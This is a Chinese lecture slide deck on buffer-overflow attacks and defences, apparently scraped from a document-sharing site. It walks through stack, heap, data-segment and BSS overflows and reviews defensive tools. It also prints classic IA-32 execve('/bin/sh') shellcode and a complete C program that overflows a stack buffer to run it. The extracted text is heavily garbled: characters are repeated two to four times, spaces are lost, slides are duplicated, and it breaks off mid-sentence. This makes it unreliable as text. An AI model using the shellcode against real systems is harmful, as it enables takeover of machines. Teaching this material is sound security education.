第七章计算机系统安全缓冲区溢出_第1页
第七章计算机系统安全缓冲区溢出_第2页
第七章计算机系统安全缓冲区溢出_第3页
第七章计算机系统安全缓冲区溢出_第4页
第七章计算机系统安全缓冲区溢出_第5页
已阅读5页,还剩60页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

2023/1/9网络安全

NetworkSecurity2023/1/9第7章计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出攻击的原理缓冲区溢出攻击的防御技术2023/1/9第7章计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出攻击的原理缓冲区溢出攻击的防御技术2023/1/9缓冲溢出概述1.缓冲区的定义连续的一段存储空间。2.缓冲区溢出的定义指写入缓冲区的数据量超过该缓冲区能容纳的最大限度,造成溢出的数据改写了与该缓冲区相邻的原始数据的情形。Bufferoverflowistheresultofwritingmoredataintoabufferthanthebuffercanhold.

2023/1/9ExampleConsiderthefollowingcodeintmain(void){charbuffer[4];strcpy(buffer,“AAA”);……}mainstackframe

previousstackframe…………buffer[4]HighaddressesLowaddressesAAA\02023/1/9Example(contd.)Nowweinput4+4+3‘A’sinsteadof4‘A’main(void){charbuffer[4];strcpy(buffer,“”);}AAAAAAAAAAAAAAmainstackframe

previousstackframe…………buffer[4]HigheraddressesLoweraddresses?AAAAAAAAAAA\0……2023/1/9缓冲溢出概述(续)3.缓冲区溢出的危害利用缓冲区溢出实现在本地或者远程系统上实现任意执行代码的目的,从而进一步达到对被攻击系统的完全掌控;利用缓冲区溢出进行DoS(DenialofService)攻击;利用缓冲区溢出破坏关键数据,使系统的稳定性和有效性受到不同程度的影响;实现蠕虫程序1988RobertT.Morris蠕虫利用UNIX系统中In,theMorrisInternetwormexploitedbufferoverflowvulnerabilityinfingerdserverprogramonUNIXsystems.曾在2001年造成大约26亿美元损失的CodeRed蠕虫及其变体就是利用了MicrosoftIIS中的缓冲区溢出进行攻击2002年的Sapphire蠕虫和2004年的Witty蠕虫也都利用了缓冲区溢出进行攻击。In2004,theWittywormtakesadvantageofabufferoverflowflawinseveralInternetSecuritySystems™(ISS)products.2023/1/9缓冲区溢出相关的软件安全隐患数目占整个软件安全隐患数目的比例2023/1/9缓冲溢出概述(续)4.造成缓冲区溢出的根本原因代码在操作缓冲区时,没有有效地对缓冲区边界进行检查,使得写入缓冲区的数据量超过缓冲区能够容纳的范围,从而导致溢出的数据改写了与该缓冲区相邻存储单元的内容。

CandC++arethemostcommonlanguagestocreatebufferoverflows.C语言中许多字符串处理函数如:Strcpy、Strcat、Gets、Sprintf等都没有对数组越界加以检测和限制。2023/1/9缓冲溢出概述(续)MicrosoftWindows,Linux/Unix,AppleMacintosh等主流操作系统无一例外存在缓冲区溢出问题。存在缓冲区溢出问题的应用程序也广泛存在,涉及数据库系统例如MicrosoftSQLServer2000,Oracle9i,网络服务(MicrosoftIIS),网络协议实现(例如OpenSSL),多媒体软件(AppleQuickTime)等等

2022/12/29缓冲溢出概概述(续)缓冲区溢出出可以成为为攻击者实实现攻击目目标的手段段,但是单单纯地溢出出缓冲区并并不能达到到攻击的目目的。在绝大多数数情况下,,一旦程序序中发生缓缓冲区溢出出,系统会会立即中止止程序并报报告“faultsegment”。例如缓冲冲区溢出,,将使返回回地址改写写为一个非非法的、不不存在的地地址,从而而出现coredump错误,不能能达到攻击击目的。只有对缓冲冲区溢出““适当地”加以利用,,攻击者才才能通过其其实现攻击击目标。2022/12/29第7章计算机机系统安全全(缓冲区区溢出)缓冲区溢出概述缓冲区溢出攻击的原理缓冲区溢出攻击的防御技术2022/12/29缓冲溢出攻击击的原理1.缓冲区溢出攻攻击模式AttackedSystem溢出缓冲区重定向到攻击击程序任意地执行程程序执行攻击程序序Attacker注入恶意数据据获得控制权找到可利用的的缓冲区溢出出隐患恶意数据可以以通过命令行参数、、环境变量、输入文件或者者网络数据注入入2022/12/29缓冲溢溢出攻攻击的的原理理(续续)2.缓冲区区溢出出可能能发生生的位位置预备知知识点点进程在在内存存中的的布局局2022/12/29缓冲溢溢出攻攻击的的原理理(续续)代码段段/文本段段用于放放置程程序的的可执执行代代码(机器码码)。数据段段用于放放置已已初始始化的的全局局变量量和已已初始始化的的局部部静态态变量量。BSS(BlockStartedbySymbol)段用于放放置未未初始始化的的全局局变量量和未未初始始化的的局部部静态态变量量。堆用于于动动态态分分配配内内存存。。堆栈栈段段用于于存存放放函函数数的的参参数数,,返返回回地地址址,,调调用用函函数数的的栈栈基基址址以以及及局局部部非非静静态态变变量量。。进程程的的环环境境变变量量和和参参数数.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2022/12/29缓冲冲溢溢出出攻攻击击的的原原理理((续续))2.缓冲冲区区溢溢出出可可能能发发生生的的位位置置((续续))堆栈栈(stack)堆(heap)数据段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2022/12/29缓冲溢溢出攻攻击的的原理理(续续)2.缓冲区区溢出出可能能发生生的位位置((续))堆栈(stack)堆(heap)数据段段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2022/12/29被调函数堆堆栈布局堆栈采用后后进先出(LIFO)的方式管理理数据,这这种方式是是实现函数数嵌套调用用的关键。。PreviousstackframesFunctionargumentsReturnaddressPreviousframepointerLocalvariablesHighaddressLowaddress从右到左的的顺序指令寄存器器(EIP)基址寄存器器(EBP)局部非静态态变量2022/12/29缓冲冲溢溢出出攻攻击击的的原原理理((续续))基于于堆堆栈栈的的缓缓冲冲区区溢溢出出voidfunction(char*str){charbuffer[4];strcpy(buffer,str);}voidmain(intargc,char**argv){charlarge_string[8];inti;for(i=0;i<8;i++)large_buffer[i]=‘‘A’’function(large_string);}2022/12/29Example(contd.)Large_string上一一个个栈栈帧帧地地址址返回回地地址址argv内存存低低端端内存存高高端端argcESPmain函数栈帧voidmain(intargc,char**argv)i2022/12/29缓冲溢出攻击击的原理(续续)基于堆栈的缓缓冲区溢出voidfunction(char*str){charbuffer[4];strcpy(buffer,str);}voidmain(intargc,char**argv){charlarge_string[8];inti;for(i=0;i<8;i++)large_buffer[i]=‘A’function(large_string);}2022/12/29Example(contd.)Large_string上一个栈帧地地址返回地址argv内存低端内存高端argcESPMain函数的栈帧i*str返回地址main函数的栈帧地址bufferfunction函数栈帧function函数被调用,调用用strcpy之前voidfunction(char*str)…………2022/12/29Example(contd.)Large_string上一个个栈帧帧地址址返回地地址argv内存低低端内存高高端argcESPMain函数的栈帧i*str返回地地址AAAAAAAAfunction函数栈帧function函数被调用用,调调用strcpy之后voidfunction(char*str)…………2022/12/29缓冲溢出出攻击的的原理((续)基于堆栈栈的缓冲冲区溢出出的潜在在危害改写返回回地址改写调用用函数栈栈的栈帧帧地址被调函数……movl%ebp,%esppopl%ebpret调用函数……movl%ebp,%esppopl%ebpret2022/12/29缓冲溢出出攻击的的原理((续)基于堆栈栈的缓冲冲区溢出出的潜在在危害((续)改写函数数指针改写虚函函数指针针改写异常常处理指指针改写数据据指针voidBadCode(char*string){void(*p)()=...;charbuff[100];strcpy(buff,string);p();………}2022/12/29缓冲溢出攻攻击的原理理(续)2.缓冲区溢出出可能发生生的位置((续)堆栈(stack)堆(heap)数据段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2022/12/29缓冲溢出攻攻击的原理理(续)基于堆的缓缓冲区溢出出Heapisacontiguousmemoryusedtodynamicallyallocatespacewherethesizewillbeknownonlyduringtheexecutionofthecode.在Linux中,堆空间间按照DougLea算法实现动动态分配。。在C程序中,标标准库函数数malloc()/free()用于从堆中中动态申请请/释放块;对对于C++程序,相应应函数为new/delete。2022/12/29缓冲溢出攻攻击的原理理(续)基于堆的缓缓冲区溢出出(续)voidmain(intargc,char**argv){char*buf1=(char*)malloc(16);char*buf2=(char*)malloc(16);strcpy(buf1,””AAAAAAAAAAAAAAA””);strcpy(buf2,argv[1]);}0030035000300360003003700030034000300380buf[2]buf[1]buf[2]AAAAAAAAAAAAAAA\02022/12/29buf[2]AAAAAAAAAAAAAAAA基于堆的缓冲冲区溢出正常输入Prompt:>BB..BBB(total15‘‘B’s)产生溢出的输输入Prompt:>BB..BBB(total40‘‘B’s)(a)heaplayoutwithoutoverflow0030035000300360003003700030034000300380BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\0AAAAAA\0(b)heaplayoutwithoverflowBBBBBBBBBBBBBBB\0AAAAAAAAAAAAAAA\02022/12/29基于堆堆的缓缓冲区区溢出出攻击击举例例1996年BSDIcrontab被发现现存在在基于于堆的的缓冲冲区溢溢出隐隐患,,攻击击者可可以通通过输输入一一个长长文件件名溢溢出在在堆上上的缓缓冲区区,溢溢出数数据改改写的的区域域是保保存有有用户户名、、密码码、uid,gid等信息息的区区域。。2022/12/29缓冲溢溢出攻攻击的的原理理(续续)2.缓冲区区溢出出可能能发生生的位位置((续))堆栈(stack)堆(heap)数据段段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2022/12/29缓冲冲溢溢出出攻攻击击的的原原理理((续续))基于于数数据据段段的的缓缓冲冲区区溢溢出出voidOverflow_Data(char*input){staticcharbuf[4]=””CCCC””;inti;for(i=0;i<12;i++)buf[i]=‘‘A’’;}2022/12/29缓冲冲溢溢出出攻攻击击的的原原理理((续续))2.缓冲区溢溢出可能能发生的的位置((续)堆栈(stack)堆(heap)数据段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2022/12/29缓冲溢出出攻击的的原理((续)基于BSS段的缓冲冲区溢出出voidOverflow_BSS(char*input){staticcharbuf[4];inti;for(i=0;i<12;i++)buf[i]=‘‘A’;}2022/12/29缓冲溢出出攻击的的原理((续)3.常见的溢溢出缓冲冲区的途途径利用C的标准函函数库常见的有有strcpy、strcat、sprintf、gets“Mudge””.HowtoWriteBufferOverflows.http:///advisories/bufero.html,1997.PaulA.HenryMCP+Ietal.BufferOverflowAttacks.CyberGuardCorp.C.Cowanetal.Bufferoverflows:Attacksanddefensesforthevulnerabilityofthedecade.ProceedingsoftheDARPAInformationSurvivabilityConferenceandExpo,1999.2022/12/29缓冲溢出攻击击的原理(续续)利用数组下标标的越界操作作Off-by-one缓冲区溢出利用数组的最最大下标与数数组长度的差差异产生。例如1998年10月BugTraq公布出Linuxlibc中的realpath函数存在single-byte缓冲区溢出隐隐患,攻击者者可以利用它它获得root权限。参见O.Kirch.Thepoisonednulbyte,posttothebugtraqmailinglist,October1998.2000年12月OpenBSD安全组公布布ftpd存在类似安安全隐患。。参见OpenBSDdevelopers,single-bytebufferoverflowvulnerabilityinftpd,December2000.voidBadCode(char*str){charbuffer[512];for(i=0;i<=512;i++)buffer[i]=str[i];}2022/12/29缓冲溢出攻攻击的原理理(续)利用有符号号整数与无无符号整数数的转换voidBadCode(char*input){shortlen;charbuf[64];len=strlen(input);if(len<MAX_BUF)strcpy(buf,input);}2022/12/29缓冲冲溢溢出出攻攻击击的的原原理理((续续))4.恶意意代代码码((注注入入))例如如为为实实现现::“exec(/bin/sh)””charshellcode[]=”\xeb\x1f\x5e\x89\x76\x08\x31\xc0”””\x88\x46\x07\x89\x46\x0c\xb0\x0b”””\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”””\xcd\x80\x31\xdb\x89\xd8\x40\xcd”””\x80\xe8\xdc\xff\xff\xff/bin/sh””;charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}2022/12/29Thesecretoftheshellcodecharshellcode[]=/*main:*/"\xeb\x1f"/*jmp$0x1forjmpcallz*//*start:*/"\x5e"/*popl%esi*/"\x89\x76\x08"/*movl%esi,$0x08(%esi)*/"\x31\xc0"/*xorl%eax,%eax*/"\x88\x46\x07"/*movb%al,0x07(%esi)*/"\x89\x46\x0c"/*movl%eax,$0x0c(%esi)*/"\xb0\x0b"/*movb$0x0b,%al*/"\x89\xf3"/*movl%esi,%ebx*/"\x8d\x4e\x08"/*leal0x08(%esi),%ecx*/"\x8d\x56\x0c"/*leal0x0c(%esi),%edx*/"\xcd\x80"/*int$0x80*/"\x31\xdb"/*xorl%ebx,%ebx*/"\x89\xd8"/*movl%ebx,%eax*/"\x40"/*inc%eax*/"\xcd\x80"/*int$0x80*//*callz:*/"\xe8\xdc\xff\xff\xff"/*callstart*//*DATA*/"/bin/sh";1322022/12/29基于堆栈的的缓冲区溢溢出攻击举举例charshellcode[]=”\xeb\x1f\x5e\x89\x76\x08\x31\xc0””\x88\x46\x07\x89\x46\x0c\xb0\x0b””\x89\xf3\x8d\x4e\x08\x8d\x56\x0c””\xcd\x80\x31\xdb\x89\xd8\x40\xcd””\x80\xe8\xdc\xff\xff\xff/bin/sh””;charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);2022/12/29溢出前后后堆栈内内容对比比HigheraddressesLoweraddressespreviousstackframeilong_ptrreturnaddresssavedEBPbuffer[96]mainstackframepreviousstackframeilong_ptraddress/bin/sh……\xeb\x1f堆栈溢出出前堆栈溢出出后2022/12/29缓冲溢出出攻击的的原理((续)4.恶意代码码(已在在内存))利用已在在内存中中的代码码作为攻攻击代码码,但是是需要提提供调用用这些现现成代码码产生攻攻击的参参数。由于libc中的库函函数常被被用作现现成的攻攻击代码码,所以以有时把把这种攻攻击方式式称为return-to-libc。可参见见Nergal.Theadvancedreturn-into-lib(c)exploits:Paxcasestudy.Phrack,Dec.2001.2022/12/29第7章计算算机系统统安全((缓冲区区溢出))缓冲区溢出概述缓冲区溢出攻击的原理缓冲区溢出攻击的防御技术2022/12/29缓冲区溢出攻攻击的防御技技术基于软件的防防御技术类型安全的编编程语言相对安全的函函数库修改的编译器器内核补丁静态分析方法法动态检测方法法基于硬件的防防御技术处理器结构方方面的改进2022/12/29缓冲冲区区溢溢出出攻攻击击的的防防御御技技术术基于于软软件件的的防防御御技技术术类型型安安全全的的编编程程语语言言相对对安安全全的的函函数数库库修改改的的编编译译器器内核核补补丁丁静态态分分析析方方法法动态态检检测测方方法法基于于硬硬件件的的防防御御技技术术处理理器器结结构构方方面面的的改改进进2022/12/29基于于软软件件的的防防御御技技术术安全的的编程程语言言Java,C#,VisualBasic,Pascal,Ada,Lisp,ML属于类类型安安全的的编程程语言言。可参考考MishaZiseretal.TestingStaticAnalysisToolsUsingExploitableBufferOverflowsFromOpenSourceCode.Proceedingsofthe12thACMSIGSOFTtwelfthinternationalsymposiumonFoundationsofsoftwareengineering,2004.缺点性能代代价类型安安全的的编程程语言言自身身的实实现可可能存存在缓缓冲区区溢出出问题题。2022/12/29缓冲区区溢出出攻击击的防防御技技术基于软软件的的防御御技术术类型安安全的的编程程语言言相对安安全的的函数数库修改的的编译译器内核补补丁静态分分析方方法动态检检测方方法基于硬硬件的的防御御技术术处理器器结构构方面面的改改进2022/12/29基于软软件的的防御御技术术(续续)相对安安全的的标准准库函函数例如在在使用用C的标准准库函函数时时,做做如下下替换换strcpy->strncpystrcat->strncatgets->fgets缺点使用不不当仍仍然会会造成成缓冲冲区溢溢出问问题。。例如MicrosoftVisualStudio提供的的C的标准准函数数库strsafe;2022/12/29缓冲区区溢出出攻击击的防防御技技术基于软软件的的防御御技术术类型安安全的的编程程语言言相对安安全的的函数数库修改的的编译译器内核补补丁静态分分析方方法动态检检测方方法基于硬硬件的的防御御技术术处理器器结构构方面面的改改进2022/12/29基于软件件的防御御技术((续)修改的编译器器增强边界检查查能力的C/C++编译器例如针对GNUC编译器扩展数数组和指针的的边界检查。。WindowsVisualC++.NET的GS选项也提供动动态检测缓冲冲区溢出的能能力。返回地址的完完整性保护将堆栈上的返返回地址备份份到另一个内内存空间;在在函数执行返返回指令前,,将备份的返返回地址重新新写回堆栈。。许多高性能超超标量微处理理器具有一个个返回地址栈栈,用于指令令分支预测。。返回地址栈栈保存了返回回地址的备份份,可用于返返回地址的完完整性保护缺点性能代价检查方法仍不不完善2022/12/29缓冲区溢出攻攻击的防御技技术基于软件的防防御技术类型安全的编编程语言相对安全的函函数库修改的编译器器内核补丁静态分析方法法动态检测方法法基于硬件的防防御技术处理器结构方方面的改进2022/12/29基于软件的防防御技术(续续)内核补丁将堆栈标志为为不可执行来来阻止缓冲区区溢出攻击;;将堆或者数据据段标志为不不可执行。例如Linux的内核补丁Openwall、RSX、kNoX、ExecShield和PaX等实现了不可可执行堆栈,,并且RSX、kNoX、ExecShield、PaX还支持不可执执行堆。另外外,为了抵制制return-to-libc这类的攻击,,PaX增加了一个特特性,将函数数库映射到随随机的内存空空间缺点:对于一些需要要堆栈/堆/数据段为可执执行状态的应应用程序不合合适;需要重重新编译原来来的程序,如如果没有源代代码,就不能能获得这种保保护。2022/12/29缓冲区溢出出攻击的防防御技术基于软件的的防御技术术类型安全的的编程语言言相对安全的的函数库修改的编译译器内核补丁静态分析方方法动态检测方方法基于于硬硬件件的的防防御御技技术术处理理器器结结构构方方面面的的改改进进2022/12/29基于于软软件件的的防防御御技技术术((续续))静态态分分析析方方法法字典典检检查查法法遍历历源源程程序序查查找找其其中中使使用用到到的的不不安安全全的的库库函函数数和和系系统统调调用用。。例如如静静态态分分析析工工具具ITS4、RATS(RoughAuditingToolforSecurity)等。。其其中中RATS提供供对对C,C++,Perl,PHP以及及Python语言言的的扫扫描描检检测测。。缺点点::误误报报率率很很高高,,需需要要配配合合大大量量的的人人工工检检查查工工作作。。2022/12/29基于软件件的防御御技术((续)静态分析析方法((续)程序注解解法包括缓冲冲区的大大小,指指针是否否可以为为空,输输入的有有效约定定等等。。例如静态态分析工工具LCLINT、SPLINT(SecureProgrammingLint)。缺点:依依赖注释释的质量量2022/12/29基于软件件的防御御技术((续)静态分析析方法((续)整数分析析法将字符串串形式化化为一对对整数,,表明字字符串长长度(以字节数数为单位位)以及目前前已经使使用缓冲冲区的字字节数。。通过这这样的形形式化处处理,将将缓冲区区溢出的的检测转转化为整整数计算算。例如静态态分析工工具BOON(BufferOverrundetectiON)。缺点:仅仅检查C中进行字字符串操操作的标标准库函函数。检检查范围围很有限限。2022/12/29基于软软件的的防御御技术术(续续)静态分分析方方法((续))控制流流程分分析法法将源程程序中中的每每个函函数抽抽象成成语法法树,,然后后再把把语法法树转转换为为调用用图/控制流流程图图来检检查函函数参参数和和缓冲冲区的的范围围。例如静静态分分析工工具ARCHER(ARrayCHeckER)、UNO、PREfast和Coverity等。缺点::对于于运行行时才才会显显露的的问题题无法法进行行分析析;;存在在误报报的可可能。。2022/12/29缓冲区溢出出攻击的防防御技术基于软件的的防御技术术类型安全的的编程语言言相对安全的的函数库修改的编译译器内核补丁静态分析方方法动态检测方方法基于硬件的的防御技术术处理器结构构方面的改改进2022/12/29基于软件件的防御御技术((续)动态检测测方法Canary-based检测方法法将canary(一个检测测值)放在缓冲冲区和需需要保护护的数据据之间,,并且假假设如果果从缓冲冲区溢出出的数据据改写了了被保护护数据,,检测值值也必定定被改写写。例如动态态检测工工具StackGuard、StackGhost、ProPolice、PointGuard等。缺点:多多少工具具通过修修改编译译器实现现检测功功能,需需要重新新编译程程序;这这种方法法无法检检测能过过绕过检检测值的的缓冲区区溢出攻攻击。protectedDatacanary......buffer2022/12/29基于软件件的防御御技术((续)动态检测测方法((续)输入检测测方法向运行程程序

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论